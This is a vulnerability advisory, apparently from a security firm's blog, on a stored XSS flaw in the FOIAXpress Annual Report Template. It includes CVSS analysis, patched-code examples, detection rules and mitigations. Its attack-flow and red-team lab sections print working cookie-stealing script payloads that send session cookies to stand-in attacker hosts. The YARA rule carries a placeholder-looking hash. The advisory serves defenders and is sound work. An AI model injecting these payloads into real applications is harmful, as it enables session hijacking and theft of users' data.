CVE-2025-61996

Executive Summary

CVE-2025-61996 is a stored cross-site scripting (XSS) vulnerability in OPEXUS FOIAXpress, a Freedom of Information Act (FOIA) request management platform. An authenticated administrative user can inject arbitrary JavaScript or HTML into the Annual Report Template. When other users generate an Annual Report, the injected content executes in their browser context. This allows the administrative attacker to steal session cookies, user credentials, or sensitive data from other users, including potentially other administrators or regular users who view the generated report.

The vulnerability affects versions before 11.13.3.0. The CVSS score is 4.3 (Medium), reflecting the requirement for administrative privileges to inject the payload, but the potential impact on confidentiality and integrity is significant due to the ability to perform actions on behalf of other users.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (OPEXUS FOIAXpress). No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must be an authenticated administrative user.
• User Interaction (UI): Required (R) – A victim user must generate an Annual Report.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., perform actions on behalf of the victim).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the potential for lateral movement and credential theft makes this a serious concern for organizations using FOIAXpress.

Deep Dive & Mechanics

The vulnerability resides in the Annual Report Template functionality of OPEXUS FOIAXpress. An administrative user can create or modify a template used to generate annual reports. The application fails to properly sanitize user-supplied input when saving the template content. This allows the injection of arbitrary HTML and JavaScript.

When a non-administrative user (or another administrator) triggers the generation of an Annual Report, the application renders the template, including the injected script. The script executes in the context of the victim's browser session, inheriting their privileges and access to cookies, local storage, and other session data.

Attack Flow:

1. Reconnaissance: The attacker identifies a FOIAXpress instance and obtains administrative credentials (e.g., through phishing, credential stuffing, or insider threat).
2. Injection: The attacker logs in as an administrator, navigates to the Annual Report Template editor, and injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>).
3. Trigger: The attacker waits for or induces a victim user (e.g., a FOIA officer or another admin) to generate an Annual Report.
4. Execution: The victim's browser executes the injected script, sending their session cookie or other sensitive data to the attacker's server.
5. Exploitation: The attacker uses the stolen session cookie to impersonate the victim, gaining unauthorized access to FOIA requests, documents, and other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely lacks output encoding or input sanitization when saving the template content. For example, in a Java/JSP environment:

// Vulnerable: Directly stores user input without sanitization
String templateContent = request.getParameter("templateContent");
templateDAO.saveTemplate(templateContent);

When rendering the template, the application might use:

<!-- Vulnerable: Outputs raw HTML without escaping -->
<div class="report-content">
    <%= templateContent %>
</div>

Patched Code (Conceptual): The patched version (11.13.3.0) should implement proper input validation and output encoding. For example:

// Patched: Sanitize input using a library like OWASP Java HTML Sanitizer
String templateContent = request.getParameter("templateContent");
String sanitizedContent = HtmlSanitizer.sanitize(templateContent);
templateDAO.saveTemplate(sanitizedContent);

When rendering:

<!-- Patched: Use JSTL c:out to escape HTML -->
<div class="report-content">
    <c:out value="${templateContent}" escapeXml="true" />
</div>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable version of OPEXUS FOIAXpress (e.g., 11.13.2.0) in a controlled environment.
2. Create an administrative user account (e.g., admin / password).
3. Create a standard user account (e.g., user / password).

Exploitation Steps:

1. Log in as admin.
2. Navigate to the Annual Report Template editor.
3. Inject the following payload into the template content field:

<script>
    var img = new Image();
    img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

4. Save the template.
5. Log out and log in as user.
6. Navigate to the Annual Report generation page and generate a report.
7. On the attacker server, observe the incoming request containing the victim's session cookie.

Advanced Payload (Session Hijacking):

<script>
    // Steal cookie and send to attacker
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker-server.com/steal', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('cookie=' + encodeURIComponent(document.cookie));
</script>

Blue Team (Defensive)

Detection:

1. Monitor for unusual administrative activity, especially modifications to Annual Report Templates.
2. Look for outbound HTTP requests from the FOIAXpress server to unknown external domains.
3. Analyze web server logs for requests containing <script> tags or suspicious JavaScript patterns in the template content parameter.

Mitigation:

1. Immediately upgrade to version 11.13.3.0 or later.
2. If patching is not possible, restrict administrative access to the Annual Report Template feature to a minimal set of trusted users.
3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the template content parameter.
4. Monitor for anomalous session behavior (e.g., a user accessing resources they normally don't).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the FOIAXpress server.
  • Requests containing document.cookie or XMLHttpRequest in the Referer or User-Agent headers.
• File IOCs:
  • Modified Annual Report Template files containing <script> tags or JavaScript code.
  • Suspicious entries in web server access logs (e.g., POST /template/save with templateContent=<script>).
• Behavioral IOCs:
  • Unusual administrative user activity, such as creating or modifying templates outside of normal business hours.
  • Multiple failed login attempts followed by successful session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_61996_FOIAXpress_XSS {
    meta:
        description = "Detects stored XSS payloads in OPEXUS FOIAXpress Annual Report Templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61996"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
        $javascript = /javascript\s*:/ nocase
        $cookie_steal = /document\.cookie/ nocase
        $xhr = /XMLHttpRequest/ nocase
    condition:
        any of ($script_tag, $onerror, $onload, $javascript) and
        any of ($cookie_steal, $xhr)
}

Sigma Rule

title: CVE-2025-61996 - Stored XSS in OPEXUS FOIAXpress Annual Report Template
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to inject malicious JavaScript into the Annual Report Template of OPEXUS FOIAXpress.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61996
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/template/save'
        cs-uri-query|contains|all:
            - '<script'
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61996 - Stored XSS in OPEXUS FOIAXpress Annual Report Template";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/template/save"; http_uri;
    content:"<script"; http_client_body;
    content:"document.cookie"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-61996;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch by upgrading to OPEXUS FOIAXpress version 11.13.3.0 or later.
2. Access Control: Restrict administrative access to the Annual Report Template feature to a minimal set of trusted users.
3. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing <script> tags in the template content parameter.

Long-Term Measures:

1. Input Validation: Implement strict input validation and output encoding for all user-supplied content, especially in template editors.
2. Content Security Policy (CSP): Enforce a strict CSP header to prevent execution of inline scripts.
3. Regular Audits: Conduct regular security audits and penetration testing of the FOIAXpress application.
4. Monitoring: Implement continuous monitoring for anomalous administrative activity and outbound connections.

Workaround (If Patching is Not Possible):

• Disable the Annual Report Template feature entirely if it is not critical to operations.
• Manually review and sanitize all existing templates for malicious content.

Valters IT